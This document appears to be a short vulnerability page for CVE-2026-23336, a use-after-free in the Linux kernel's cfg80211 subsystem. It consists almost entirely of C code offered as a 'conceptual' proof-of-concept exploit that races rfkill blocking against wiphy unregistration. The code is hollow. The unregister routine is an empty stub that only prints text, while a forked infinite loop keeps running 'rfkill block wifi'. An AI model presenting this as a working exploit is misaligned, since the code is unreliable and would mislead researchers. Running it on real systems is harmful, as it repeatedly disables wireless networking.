CVE-2026-23336 Linux内核cfg80211释放后重用漏洞

/* * PoC for CVE-2026-23336 (Conceptual) * This code attempts to trigger the race condition between * wiphy_unregister and cfg80211_rfkill_block_work. * Requires a vulnerable Linux kernel version. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // Simulate triggering the rfkill block work void trigger_rfkill_work() { // In a real scenario, this interacts with rfkill subsystem system("rfkill block wifi"); } // Simulate the unregister sequence that exposes the UAF void trigger_unregister_sequence() { // Malicious interaction with cfg80211 to force unregister // while work is pending. printf("Triggering wiphy unregister race...\n"); // Implementation would involve specific netlink messages // or ioctl calls to the wireless driver. } int main() { printf("Starting PoC for CVE-2026-23336...\n"); // Fork to increase likelihood of race condition if (fork() == 0) { while(1) { trigger_rfkill_work(); usleep(100); } } else { while(1) { trigger_unregister_sequence(); usleep(100); } } return 0; }